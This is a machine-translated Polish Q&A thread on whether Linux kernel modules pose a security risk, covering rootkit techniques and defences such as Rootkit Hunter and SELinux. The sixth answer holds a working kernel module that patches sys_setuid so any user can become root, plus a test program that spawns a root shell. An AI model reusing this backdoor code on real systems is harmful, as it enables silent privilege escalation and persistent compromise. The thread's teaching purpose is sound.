Moduły jądra Linux - zagrożenie bezpieczeństwa?

Question

Ile ryzyka bezpieczeństwa stanowią moduły jądra Linux? Pamiętam, że przeczytałem, że było to możliwe, jeśli ktoś uzyskał dostęp, że wszystko, co musieli zrobić, to załadować moduł rootkita. Czy to jest poprawne? Czy istnieje sposób na ochronę przed tym?

Które części jądra są faktycznie odsłonięte za pośrednictwem interfejsu modułu i jakie funkcje mają dostęp programiści, które mogłyby zostać wykorzystane do złośliwych celów?

Answer 1

To, co powiedział Douglas, jest w pełni poprawne, Linux to monolithic, a moduł może zrobić wszystko. Jest to wybór wzorowany głównie na Linus Thorvaldsie i pasuje do filozofii Open Source (dlaczego ograniczać, to kosztuje wydajność i można zobaczyć, co moduł robi ze źródła - praktycznie mówiąc tylko dla prawdziwych frajerów :-) -).

Teraz może trzeba załadować niektóre tak zwane moduły binarne od stron trzecich. Nawet jeśli wydają się być skompilowane, zwykle istnieje wspólny plik obiektowy jako czarna skrzynka i tylko interfejsy dookoła są w rzeczywistości skompilowane (jak w przypadku sterowników graficznych nvidii, których używam). Nie ma jednoznacznej odpowiedzi, jeśli ładujesz takie moduły, musisz zaufać sprzedawcy, jeśli nie, nie rób tego ...

Tylko root może ładować moduły, które korygują teorię. W praktyce jednak żaden system nie jest doskonały (nawet Linux). Od czasu do czasu występują luki w jądrze, które mogą umożliwić użytkownikom lokalnym lub zdalnym użytkownikom (bardzo rzadkim przypadkom) wprowadzenie kodu do jądra, aby mogli oni rootować prawa, a tym samym przejąć kontrolę nad systemem. Posiadanie kernela na bieżąco jest dobrą rzeczą ...

Po zakończeniu tego procesu przejdźmy do drugiej części pytania, na które dotychczas nie udzielono odpowiedzi: "do jakich funkcji programiści mają dostęp, które mogłyby zostać użyte w złych celach?". Wiele z tych rzeczy, które są zrobione dla SE-Linux może być również wykorzystane do złych celów, jak:

• Ukrywanie informacji w /proc lub /sys katalogów, na przykład ukrywając złośliwe procesy użytkownika, nie są więc wyświetlane w narzędziach jak top, ps i tak dalej. Obejmuje to ukrywanie samego złośliwego modułu, więc nie jest wymienione w lsmod.
• rejestrowanie i zapisywanie naciśnięć klawiszy ...
• wysyłanie danych do świata zewnętrznego. Żaden moduł jądra nie musi łączyć się z witryną i wysyłać informacji (z wyjątkiem stosu sieciowego w oryginalnym kodzie linuxowym), jeśli kod modułu powoduje, że coś źle pachnie. Jeśli niektóre ciągi są szyfrowane i odszyfrowywane dokonać pewnych operacji pachnie jeszcze gorzej ...
• ...

Lista jest duża, jeśli chcesz więcej szczegółów można rzucić okiem na Rootkit Hunter (http://www.rootkit.nl/projects/rootkit_hunter.html). To narzędzie, które uruchamiam od czasu do czasu. Może wykryć obecność niektórych szeroko używanych rootkits. Zarządza listą rootkitów, a wpisanie go na listę da ci pewność, jakie cele są celem tych bestii ... Tak jak powiedział Douglas, funkcje, które można wykorzystać, to w rzeczywistości wszystkie funkcje dostępne w jądrze, bez ograniczeń. Mówienie, czy moduł jest złym, czy nie, nie jest oczywiste.

Answer 2

Moduł jądra działa z pełnymi uprawnieniami jądra - może zrobić wszystko, co może zrobić jądro, które jest praktycznie wszystkim. Dobrze zachowany moduł ograniczy jego działania do tych funkcji, które są eksportowane jako symbole przez jądro, ale nic nie przeszkadza modułowi w wywołaniu dowolnej arbitralnej funkcji, której ma adres, lub wykonywaniu kodu, który jest równoważny z każdą istniejącą funkcją.

Ochrona polega na tym, że tylko root może ładować moduły jądra.

Korzeń może sprawić, że maszyna będzie działała, więc ryzyko przyrostowe jest znikome. Aby wyjaśnić - ładowanie modułu może pozwolić rootowi lepiej ukryć się lub przeprowadzić atak z mniejszą ilością informacji o systemie, ale w zasadzie, ponieważ root może nadpisać obraz jądra i zrestartować system do tego obrazu, może osiągnąć wszystko, może zrobić moduł jądra. Ponieważ/dev/kmem generalnie nie jest zapisywalny, najprawdopodobniej proces root'a w przestrzeni użytkownika będzie ograniczony pod względem możliwości działania w stosunku do modułu jądra, ale przepisanie i ponowne uruchomienie mogą to naprawić.

Również mogą istnieć alternatywy dla zmiany pamięci jądra, np. Jeśli chcesz ukryć proces, możesz użyć modułu ładowalnego lub możesz po prostu zamienić ps na wersję trojan.

Podobnie jak ukryj plik, możesz użyć modułu jądra lub po prostu zastąpić ls.

Answer 3

Możesz to sprawdzić Wikipedia

Mówiąc moduł jądra jest niebezpieczne, to jak mówienie kierowca na oknach jest niebezpieczne. Zdecydowanie mogą być mogą być, ale zazwyczaj nie są. Jako Mr.Leeder podany root może zrobić prawie wszystko, ale wątpię, by mógł bezpośrednio wywoływać api jądra, musiałby załadować do tego moduł jądra (co oczywiście może).

Answer 4

tylko dodać, że kawałek dokumentacji: Linux Kernel Modules HOWTO

myślę, że będzie to wyjaśnić niektóre z twoich przemyśleń dotyczących kwestii bezpieczeństwa.

Answer 5

Jeśli tak cię to obchodzi, SELinux jest twoim przyjacielem.

Jeśli root może działać jak ... root ... jest problemem w twoim środowisku, istnieje wiele alternatywnych konfiguracji systemu Linux, gdzie bycie rootem powoduje, że nie masz dostępu do nikogo.

Aby uzyskać coś o jeszcze większym bezpieczeństwie, wypróbuj jeden z ocenianych * IX O/Ses (przeprowadziłem kilka ewaluacji, ale żaden nie był otwartym O/S) lub korzystam z bardziej bezpiecznego O/S, np. jako coś z odmiany przekazującej wiadomości, w której "serwer" nie działa w trybie pierścienia 0/nadzorcy/jądra.

Answer 6

Dobre ogólne odpowiedzi na poziomie już. Jak spojrzeć na ten problem na przykładowym poziomie kodu, dzięki czemu można lepiej wyjaśnić, jak podatny jest system Linux na instalację modułu.

Mój przykład moduł:

#include <linux/version.h> 
    #include <linux/module.h> 
    #include <linux/highmem.h> 
    #include <asm/unistd.h> 
    char *p; 
    int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map       
     { pte_t *pte1; 
      unsigned int dummy_but_needed; 
      p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx 
      pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); 
      pte1->pte |= _PAGE_RW; //Now the code page is writable   
      *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75". 
      return -1; // Insmod complains and module disappears from the system but module did it's work already    
     } 
    MODULE_LICENSE("GPL");//We don't need cleanup_module 

Programy testowe dające Super uprawnienia użytkownika na terminalu poziomie użytkownika:

int main() 
     { 
     setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); 
     system("/bin/bash"); //rax=system call nr and rdi=first parameter 
     } 

Czy jest to niebezpieczne rootkit? Nie. Aby znaleźć adres sys_setuid, musisz już mieć uprawnienia roota! I praktycznie każdy system ma ten adres inny.

W każdym razie pokazuje to, jak łatwa jest manipulacja. W rzeczywistości bardzo łatwo można zastąpić używane stałe przez metody dynamiczne (w czasie wykonywania) - nie przedstawione tutaj. (To byłby rootkit.Wypróbowałem go i żaden program do łuskania rootkitów nie był w stanie go znaleźć, nawet gdyby istniał i wziął wszystkie wywołania systemowe.)

Testowałem to z Kernelem 3.2 i AMD64. NIE BĘDZIE PRACOWAĆ NA INNYCH HW!

(jak znaleźć stałą potrzebne:

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic 
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid 
    ffffffff810a23f0 T sys_setuid16 

)